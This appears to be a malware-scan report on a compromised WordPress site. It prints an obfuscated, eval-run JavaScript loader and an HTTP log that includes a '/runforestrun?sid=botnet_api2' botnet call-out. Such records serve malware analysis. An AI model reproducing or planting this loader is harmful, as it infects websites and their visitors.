var lOFZuLlGBWo = new UeFGzt("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");
if (typeof _typeof_ != "undefined") {
geaxFOHy.eJxHzs()
} else {
eval(lOFZuLlGBWo.eJxHzs());
eval(geaxFOHy.eJxHzs())
}; |
Executed Writes (0)
HTTP Transactions (33)
| Request | Response |
|---|---|
GET /wp-includes/js/l10n.js?ver=20101110 HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/plugins/contact-form-7/styles.css?ver=3.1.1 HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 887 |
GET /wp-content/themes/portal/images/favicon.ico HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 2238 |
GET /wp-content/themes/portal/javascripts/ajaxtabs.js HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/themes/portal/javascripts/jquery.min.js HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/themes/portal/javascripts/menu.js HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/06/airbrush.jpg&h=36&w=36&zc=1 HTTP/1.1 GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/06/airbrush.jpg&h=36&w=36&zc=1 HTTP/1.1 | HTTP/1.1 200 OK Cache-Control: max-age=9999, must-revalidate |
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/02/cabine-pintura.jpg&h=36&w=36&zc=1 HTTP/1.1 GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/02/cabine-pintura.jpg&h=36&w=36&zc=1 HTTP/1.1 | HTTP/1.1 200 OK Cache-Control: max-age=9999, must-revalidate |
GET /wp-content/themes/portal/style.css HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 18059 |
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/02/interm06.jpg&h=36&w=36&zc=1 HTTP/1.1 GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2012/02/interm06.jpg&h=36&w=36&zc=1 HTTP/1.1 | HTTP/1.1 200 OK Cache-Control: max-age=9999, must-revalidate |
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/12/02.jpg&h=36&w=36&zc=1 HTTP/1.1 GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/12/02.jpg&h=36&w=36&zc=1 HTTP/1.1 | HTTP/1.1 200 OK Cache-Control: max-age=9999, must-revalidate |
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/12/00introducao.jpg&h=36&w=36&zc=1 HTTP/1.1 GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/12/00introducao.jpg&h=36&w=36&zc=1 HTTP/1.1 | HTTP/1.1 200 OK Cache-Control: max-age=9999, must-revalidate |
GET /wp-includes/js/jquery/jquery.js?ver=1.6.1 HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 133436 |
GET /wp-content/themes/portal/javascripts/ajaxtabs.js HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/plugins/contact-form-7/jquery.form.js?ver=2.96 HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/plugins/contact-form-7/scripts.js?ver=3.1.1 HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/11/em_construcao.jpg&h=100&w=100&zc=1 HTTP/1.1 GET /wp-content/themes/portal/includes/timthumb.php?src=http://www.plastimodel.com.br/wp-content/uploads/2011/11/em_construcao.jpg&h=100&w=100&zc=1 HTTP/1.1 | HTTP/1.1 200 OK Cache-Control: max-age=9999, must-revalidate |
GET /wp-content/themes/portal/javascripts/menu.js HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/themes/portal/javascripts/jquery.min.js HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/themes/portal/javascripts/jquery-ui.min.js HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 257361 |
GET /wp-content/themes/portal/images/bkg.png HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 4874 |
GET /wp-content/themes/portal/images/searchbg.gif HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 71 |
GET /wp-content/plugins/contact-form-7/jquery.form.js?ver=2.96 HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/themes/portal/images/bullet.gif HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 13112 |
GET /wp-content/themes/portal/images/rss.gif HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 13280 |
GET /wp-content/themes/portal/images/arrow_right.gif HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 130 |
GET /wp-content/themes/portal/images/bkg_rodape.png HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 5648 |
GET /wp-content/plugins/contact-form-7/scripts.js?ver=3.1.1 HTTP/1.1
| HTTP/1.1 404 Not Found Content-Length: 1081 |
GET /wp-content/themes/portal/images/home-small.gif HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 13386 |
GET /wp-content/themes/portal/images/menu.jpg HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 13124 |
GET /wp-content/themes/portal/images/logo2.png HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 30188 |
GET /runforestrun?sid=botnet_api2 HTTP/1.1
| |
GET /?cat=8 HTTP/1.1
| HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 |
